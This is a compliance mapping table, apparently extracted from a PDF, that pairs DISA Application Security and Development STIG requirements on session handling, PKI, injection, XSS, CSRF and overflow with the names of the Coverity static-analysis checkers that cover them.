APSC-DV-001810	The application, when utilizing PKI-based authentication, must validate certificates by constructing a certification path (which includes status information) to an accepted trust anchor.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.COOKIE_SIGNING_DISABLED CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT MISSING_AUTHZ REVERSE_TABNABBING SENSITIVE_DATA_LEAK TEMPORARY_CREDENTIALS_DURATION UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001820	The application, when using PKI-based authentication, must enforce authorized access to the corresponding private key.	CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY HARDCODED_CREDENTIALS UNSAFE_SESSION_SETTING
APSC-DV-001830	The application must map the authenticated identity to the individual user or group account for PKI-based authentication.	BAD_CERT_VERIFICATION

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
APSC-DV-001840	The application, for PKI-based authentication, must implement a local cache of revocation data to support path discovery and validation in case of the inability to access revocation information via the network.	BAD_CERT_VERIFICATION
APSC-DV-001850	The application must not display passwords/PINs as clear text.	
APSC-DV-001970	The application must employ strong authenticators in the establishment of non-local maintenance and diagnostic sessions.	
APSC-DV-001995	The application must not be vulnerable to race conditions.	ATOMICITY BAD_CHECK_OF_WAIT_COND BAD_LOCK_OBJECT DC.DEADLOCK FB.DC_DOUBLECHECK FB.DC_PARTIALLY_CONSTRUCTED FB.IS2_INCONSISTENT_SYNC FB.IS_FIELD_NOT_GUARDED FB.IS_INCONSISTENT_SYNC FB.LI_LAZY_INIT_STATIC FB.LI_LAZY_INIT_UPDATE_STATIC FB.RU_INVOKE_RUN FB.STCAL_INVOKE_ON_STATIC_CALENDAR_INSTANCE FB.STCAL_INVOKE_ON_STATIC_DATE_FORMAT_INSTANCE FB.STCAL_STATIC_CALENDAR_INSTANCE FB.STCAL_STATIC_SIMPLE_DATE_FORMAT_INSTANCE GUARDED_BY_VIOLATION LOCK LOCK_EVASION LOCK_INVERSION MISSING_LOCK NON_STATIC_GUARDING_STATIC ORDER_REVERSAL SERVLET_ATOMIICITY SINGLETON_RACE SLEEP TOCTOU

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		VOLATILE_ATOMICITY
APSC-DV-002000	The application must terminate all network connections associated with a communications session at the end of the session.	CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN CONFIG.UNSAFE_SESSION_TIMEOUT CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION INSUFFICIENT_PRESIGNED_URL_TIMEOUT JSONWEBTOKEN_IGNORED_EXPIRATION_TIME JSONWEBTOKEN_UNTRUSTED_DECODE OPENAPI.TEMPORARY_CREDENTIALS_DURATION TEMPORARY_CREDENTIALS_DURATION
APSC-DV-002210	The application must set the HTTPOnly flag on session cookies.	CONFIG.COOKIES_MISSING_HTTPONLY CONFIG.JAVAAE_MISSING_HTTPONLY
APSC-DV-002220	The application must set the secure flag on session cookies.	INSECURE_COOKIE INSECURE_REMEMBER_ME_COOKIE UNSAFE_SESSION_SETTING
APSC-DV-002230	The application must not expose session IDs.	CONFIG.SPRING_SECURITY_SESSION_FIXATION SESSION_FIXATION
APSC-DV-002240	The application must destroy the session ID value and/or cookie on logoff or browser close.	AWS_SSL_DISABLED CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT JSONWEBTOKEN_IGNORED_EXPIRATION_TIME JSONWEBTOKEN_UNTRUSTED_DECODE OPENAPI.TEMPORARY_CREDENTIALS_DURATION REVERSE_TABNABBING SENSITIVE_DATA_LEAK TEMPORARY_CREDENTIALS_DURATION UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-002250	Applications must use system-generated session	CONFIG.SPRING_SECURITY_SESSION_FIXATION SESSION_FIXATION

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
	identifiers that protect against session fixation.	
APSC-DV-002260	Applications must validate session identifiers.	AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.COOKIE_SIGNING_DISABLED CONFIG.SPRING_BOOT_SSL_DISABLED CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION MISSING_AUTHZ
APSC-DV-002280	The application must not re-use or recycle session IDs.	CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN CONFIG.UNSAFE_SESSION_TIMEOUT CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION INSUFFICIENT_PRESIGNED_URL_TIMEOUT JSONWEBTOKEN_IGNORED_EXPIRATION_TIME JSONWEBTOKEN_UNTRUSTED_DECODE OPENAPI.TEMPORARY_CREDENTIALS_DURATION TEMPORARY_CREDENTIALS_DURATION
APSC-DV-002300	The application must only allow the use of DoD-approved certificate authorities for verification of the establishment of protected sessions.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.COOKIE_SIGNING_DISABLED CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT MISSING_AUTHZ REVERSE_TABNABBING

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		SENSITIVE_DATA_LEAK TEMPORARY_CREDENTIALS_DURATION UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-002310	The application must fail to a secure state if system initialization fails, shutdown fails, or aborts fail.	
APSC-DV-002370	The application must maintain a separate execution domain for each executing process.	ALLOC_FREE_MISMATCH ARRAY_VS_SINGLETON BAD_ALLOC_ARITHMETIC BUFFER_SIZE COM.BAD_FREE COM.BSTR.ALLOC COM.BSTR.CONV INCOMPATIBLE_CAST INTEGER_OVERFLOW INVALIDATE_ITERATOR MISMATCHED_ITERATOR MISSING_ASSIGN MISSING_COPY OVERRUN REVERSE_NEGATIVE SIZECHECK STRING_OVERFLOW STRING_SIZE TAINTED_SCALAR USE_AFTER_FREE WRAPPER_ESCAPE
APSC-DV-002380	Applications must prevent unauthorized and unintended information transfer via shared system resources.	AWS_SSL_DISABLED CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY REVERSE_TABNABBING SENSITIVE_DATA_LEAK UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
APSC-DV-002390	XML-based applications must mitigate DoS attacks by using XML filters, parser options, or gateways.	WEAK_XML_SCHEMA XML_EXTERNAL_ENTITY XML_INJECTION XPath_INJECTION
APSC-DV-002400	The application must restrict the ability to launch Denial of Service (DoS) attacks against itself or other information systems.	ALLOC_FREE_MISMATCH AWS_SSL_DISABLED BUSBOY_MISCONFIGURATION COM.ADDROF_LEAK COM.BAD_FREE COM.BSTR.ALLOC CONFIG.CONNECTION_STRING_PASSWORD CONFIG.CORDOVA_EXCESSIVE_LOGGING CONFIG.DEAD_AUTHORIZATION_RULE CONFIG.DWR_DEBUG_MODE CONFIG.ENABLED_DEBUG_MODE CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.JAVAE_MISSING_SERVLET_MAPPING CONFIG.MISSINGJSF2_SECURITY_CONSTRAINT CONFIG.MYBATIS_MAPPER_SQLI CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_DEBUG_MODE CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION CONFIG.STRUTS2_ENABLED_DEV_MODE CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT CTOR_DTOR_LEAK DC.DEADLOCK DISABLED_ENCRYPTION EXPRESS_SESSION_UNSAFE_MEMORYSTORE FB.DM_EXIT FILE_UPLOAD_MISCONFIGURATION FORMAT_STRING_INJECTION HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION IMPLICIT_INTENT INSECURE_ACL

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		INSECURE_COMMUNICATION INSECURE_DIRECT_OBJECT_REFERENCE INSECURE_REFERRER_POLICY JSP_SQL_INJECTION LOCALSTORAGE_WRITE LOCK LOCK_INVERSION MISSING_ASSIGN MISSING_COPY MISSING_PERMISSION_FOR_BROADCAST MULTER_MISCONFIGURATION NEGATIVE_RETURNS NO_EFFECT OPENAPI.MISSING_RATE_LIMITING OPENAPI.OAUTH2_MISCONFIGURATION OPENAPI.REDOS ORDER_REVERSAL PW.NON_CONST_PRINTF_FORMAT_STRING RAILS_DEFAULT_ROUTES RAILS_DEVISE_CONFIG RAILS_MISSING_FILTER_ACTION RESOURCE_LEAK REVERSE_TABNABBING RUBY_VULNERABLE_LIBRARY SENSITIVE_DATA_LEAK SQLI SQL_NOT_CONSTANT STACK_USE TAINTED_SCALAR TAINTED_STRING UNENCRYPTED_SENSITIVE_DATA UNLIMITED_CONCURRENT_SESSIONS UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BUFFER_METHOD USE_AFTER_FREE VERBOSE_ERROR_REPORTING VIRTUAL_DTOR WEAK_XML_SCHEMA WRAPPER_ESCAPE XML_EXTERNAL_ENTITY
APSC-DV-002440	The application must protect the confidentiality and integrity of transmitted information.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED BAD_CERT_VERIFICATION CONFIG.ATS_INSECURE CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT

Name	Description	Coverity Checkers
		CONFIG.HARDCODED_TOKEN CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_X_POWERED_BY_ENABLED HAPI_SESSION_MONGO_MISSING_TLS HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_COOKIE INSECURE_MULTIPLE_PEER_CONNECTION INSECURE_REFERERER_POLICY INSECURE_REMEMBER_ME_COOKIE OPENAPI.MISSING_TLS REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD UNSAFE_SESSION_SETTING VERBOSE_ERROR_REPORTING
APSC-DV-002460	The application must maintain the confidentiality and integrity of information during preparation for transmission.	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH CONFIG.WEAK_SECURITY_CONSTRAINT CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DC.WEAK_CRYPTO DISABLED_ENCRYPTION FB.DMI_CONSTANT_DB_PASSWORD FB.DMI_EMPTY_DB_PASSWORD HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_RANDOM INSECURE_REFERRER_POLICY INSECURE_SALT PREDICTABLE_RANDOM_SEED RAILS_DEVISE_CONFIG REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING WEAK_GUARD WEAK_PASSWORD_HASH WEAK_URL_SANITIZATION
APSC-DV-002470	The application must maintain the confidentiality and integrity of information during reception.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED BAD_CERT_VERIFICATION CONFIG.ATS_INSECURE CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		INSECURE_ACL INSECURE_COMMUNICATION INSECURE_MULTIPLE_PEER_CONNECTION INSECURE_REFERER_POLICY REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-002480	The application must not disclose unnecessary information to users.	ANDROID_CAPABILITY_LEAK ANDROID_DEBUG_MODE ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.ANDROID_BACKUPS_ALLOWED CONFIG.ASPNET_VERSION_HEADER CONFIG.ASP_VIEWSTATE_MAC CONFIG.CONNECTION_STRING_PASSWORD CONFIG.DEAD_AUTHORIZATION_RULE CONFIG.DWR_DEBUG_MODE CONFIG.DYNAMIC_DATA_HTML_COMMENT CONFIG.ENABLED_DEBUG_MODE CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.JAVAAE_MISSING_SERVLET_MAPPING CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT CONFIG.MYBATIS_MAPPER_SQLI CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SENSITIVE_LOGGING CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_DEBUG_MODE CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION CONFIG.STRUTS2_ENABLED_DEV_MODE CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS

Name	Description	Coverity Checkers
		CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPOSED_PREFERENCES EXPRESS_WINSTON_SENSITIVE_LOGGING EXPRESS_X_POWERED_BY_ENABLED HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION IMPLICIT_INTENT INSECURE_ACL INSECURE_COMMUNICATION INSECURE_DIRECT_OBJECT_REFERENCE INSECURE_REFERRER_POLICY JSP_SQL_INJECTION MISSING_PERMISSION_FOR_BROADCAST MISSING_PERMISSION_ON_EXPORTED_COMPONENT MOBILE_ID_MISUSE OPENAPI.OAUTH2_MISCONFIGURATION OPENAPI.SERVER_SIDE_REQUEST_FORGERY OPEN_REDIRECT RAILS_DEFAULT_ROUTES RAILS_MISSING_FILTER_ACTION REVERSE_TABNABBING SENSITIVE_DATA_LEAK SQLI SQL_NOT_CONSTANT UNENCRYPTED_SENSITIVE_DATA UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BUFFER_METHOD URL_MANIPULATION VERBOSE_ERROR_REPORTING
APSC-DV-002485	The application must not store sensitive information in hidden fields.	AWS_SSL_DISABLED CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY REVERSE_TABNABBING SENSITIVE_DATA_LEAK UNSAFE_BUFFER_METHOD

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		VERBOSE_ERROR_REPORTING
APSC-DV-002490	The application must protect from Cross-Site Scripting (XSS) vulnerabilities.	ANGULAR_SCE_DISABLED CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER DOM_XSS REACT_DANGEROUS_INNERHTML VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE XSS
APSC-DV-002500	The application must protect from Cross-Site Request Forgery (CSRF) vulnerabilities.	CONFIG.CSURF_IGNORE_METHODS CONFIG.DJANGO_CSRF_PROTECTION_DISABLED CONFIG.HANA_XS_PREVENT_XSRF_DISABLED CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED CSRF CSRF_MISCONFIGURATION_HAPI_CRUMB OPENAPI.CSRF
APSC-DV-002510	The application must protect from command injection.	OS_CMD_INJECTION TAINTED_ENVIRONMENT_WITH_EXECUTION
APSC-DV-002520	The application must protect from canonical representation vulnerabilities.	BUSBOY_MISCONFIGURATION FB.PT_ABSOLUTE_PATH_TRAVERSAL FB.PT_RELATIVE_PATH_TRAVERSAL FILE_UPLOAD_MISCONFIGURATION JSP_DYNAMIC_INCLUDE MULTER_MISCONFIGURATION PATH_MANIPULATION RUBY_VULNERABLE_LIBRARY
APSC-DV-002530	The application must validate all input.	ANGULAR_EXPRESSION_INJECTION BUSBOY_MISCONFIGURATION CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED CONFIG.UNSAFE_SESSION_TIMEOUT COOKIE_SERIALIZER_CONFIG CORS_MISCONFIGURATION_AUDIT DISTRUSTED_DATA_DESERIALIZATION FILE_UPLOAD_MISCONFIGURATION FORMAT_STRING_INJECTION HOST_HEADER_VALIDATION_DISABLED HPKP_MISCONFIGURATION INSUFFICIENT_PRESIGNED_URL_TIMEOUT JAVA_CODE_INJECTION JCR_INJECTION JSP_DYNAMIC_INCLUDE LDAP_INJECTION LDAP_NOT_CONSTANT MISSING_PASSWORD_VALIDATOR

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		MULTER_MISCONFIGURATION NEGATIVE_RETURNS NOSQL_QUERY_INJECTION OGNL_INJECTION OPENAPI.JAVASCRIPT_DETECTED OPENAPI.RCE_PAYLOAD_DETECTED PATH_MANIPULATION PW.NON_CONST_PRINTF_FORMAT_STRING REGEX_INJECTION REVERSE_NEGATIVE RUBY_VULNERABLE_LIBRARY SCRIPT_CODE_INJECTION TAINTED_SCALAR TAINTED_STRING TEMPLATE_INJECTION TEMPORARY_CREDENTIALS_DURATION UNCHECKED_ORIGIN UNKNOWN_LANGUAGE_INJECTION UNRESTRICTED_DISPATCH UNRESTRICTED_MESSAGE_TARGET UNSAFE_DESERIALIZATION UNSAFE_JNI UNSAFE_NAMED_QUERY UNSAFE_REFLECTION WEAK_BIOMETRIC_AUTH XPATH_INJECTION
APSC-DV-002540	The application must not be vulnerable to SQL Injection.	CONFIG.MYBATIS_MAPPER_SQLI DYNAMIC_OBJECT_ATTRIBUTES FB.SQL_NONCONSTANT_STRING_PASSED_TO_EXECUTE FB.SQL_PREPARED_STATEMENT_GENERATED_FROM_NONCONSTANT JSP_SQL_INJECTION NOSQL_QUERY_INJECTION RUBY_VULNERABLE_LIBRARY SQLI SQL_NOT_CONSTANT
APSC-DV-002550	The application must not be vulnerable to XML-oriented attacks.	WEAK_XML_SCHEMA XML_EXTERNAL_ENTITY XML_INJECTION XPATH_INJECTION
APSC-DV-002560	The application must not be subject to input handling vulnerabilities.	NEGATIVE_RETURNS REVERSE_NEGATIVE TAINTED_SCALAR
APSC-DV-002570	The application must generate error messages that provide information	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.CORDOVA_EXCESSIVE_LOGGING

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
	<p>necessary for corrective actions without revealing information that could be exploited by adversaries.</p>	<p>CONFIG.MYSQL_SSL_VERIFY_DISABLED            CONFIG.SEQUELIZE_ENABLED_LOGGING            CONFIG.SEQUELIZE_INSECURE_CONNECTION            CONFIG.SPRING_BOOT_SENSITIVE_LOGGING            CONFIG.SPRING_BOOT_SSL_DISABLED            CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID            CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP            CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER            CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS            CORS_MISCONFIGURATION            CORS_MISCONFIGURATION_AUDIT            EXPOSED_DIRECTORY_LISTING_HAPI_INERT            EXPRESS_WINSTON_SENSITIVE_LOGGING            EXPRESS_X_POWERED_BY_ENABLED            HPKP_MISCONFIGURATION            INSECURE_ACL            INSECURE_COMMUNICATION            INSECURE_REFERRER_POLICY            INSUFFICIENT_LOGGING            REVERSE_TABNABBING            SENSITIVE_DATA_LEAK            UNLOGGED_SECURITY_EXCEPTION            UNSAFE_BUFFER_METHOD            VERBOSE_ERROR_REPORTING</p>
<p>APSC-DV-002590</p>	<p>The application must not be vulnerable to overflow attacks.</p>	<p>ALLOC_FREE_MISMATCH            ARRAY_VS_SINGLETON            AWS_SSL_DISABLED            BAD_ALLOC_ARITHMETIC            BAD_ALLOC_STRLLEN            BAD_CERT_VERIFICATION            BAD_FREE            BUFFER_SIZE            CALL_SUPER            CHAR_IO            COM.ADDROF_LEAK            COM.BAD_FREE            COM.BSTR.ALLOC            COM.BSTR.CONV            CONFIG.SPRING_BOOT_SSL_DISABLED            CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID            CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP            CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER            CORS_MISCONFIGURATION            CORS_MISCONFIGURATION_AUDIT            CTOR_DTOR_LEAK            DELETE_ARRAY</p>

Name	Description	Coverity Checkers
		DELETE_VOID EVALUATION_ORDER FB.BX_BOXING_IMMEDIATELY_UNBOXED_TO_PERFORM_COERCION FB.ICAST_BAD_SHIFT_AMOUNT FB.ICAST_IDIV_CAST_TO_DOUBLE FB.ICAST_INTEGER_MULTIPLY_CAST_TO_LONG FB.ICAST_INT_2_LONG_AS_INSTANT FB.ICAST_INT_CAST_TO_DOUBLE_PASSED_TO_CEIL FB.ICAST_INT_CAST_TO_FLOAT_PASSED_TO_ROUND FB.ICAST_QUESTIONABLE_UNSIGNED_RIGHT_SHIFT HPKP_MISCONFIGURATION INCOMPATIBLE_CAST INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY INTEGER_OVERFLOW INVALIDATE_ITERATOR MISMATCHED_ITERATOR MISSING_ASSIGN MISSING_COPY NEGATIVE_RETURNS NO_EFFECT OVERRUN PW.BAD_CAST PW.CONVERSION_TO_POINTER_LOSES_BITS RAILS_DEVISE_CONFIG READLINK RESOURCE_LEAK REVERSE_NEGATIVE REVERSE_TABNABBING SENSITIVE_DATA_LEAK SIGN_EXTENSION SIZECHECK SQLI STACK_USE STRING_NULL STRING_OVERFLOW STRING_SIZE TAINTED_SCALAR UNSAFE_BUFFER_METHOD USE_AFTER_FREE VERBOSE_ERROR_REPORTING VIRTUAL_DTOR WRAPPER_ESCAPE WRITE_CONST_FIELD Y2K38_SAFETY

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
APSC-DV-003100	The application must use encryption to implement key exchange and authenticate endpoints prior to establishing a communication channel for key exchange.	BAD_CERT_VERIFICATION CONFIG.CSURF_IGNORE_METHODS CONFIG.DJANGO_CSRF_PROTECTION_DISABLED CONFIG.HANA_XS_PREVENT_XSRF_DISABLED CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.WEAK_SECURITY_CONSTRAINT CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT CSRF CSRF_MISCONFIGURATION_HAPI_CRUMB HOST_HEADER_VALIDATION_DISABLED HPKP_MISCONFIGURATION INSUFFICIENT_PRESIGNED_URL_TIMEOUT JSONWEBTOKEN_UNTRUSTED_DECODE MISSING_PASSWORD_VALIDATOR MUTLER_MISCONFIGURATION OPENAPI.CSRF RISKY_CRYPTO SA.RISKY_CRYPTO TEMPORARY_CREDENTIALS_DURATION UNCHECKED_ORIGIN WEAK_BIOMETRIC_AUTH WEAK_GUARD WEAK_URL_SANITIZATION
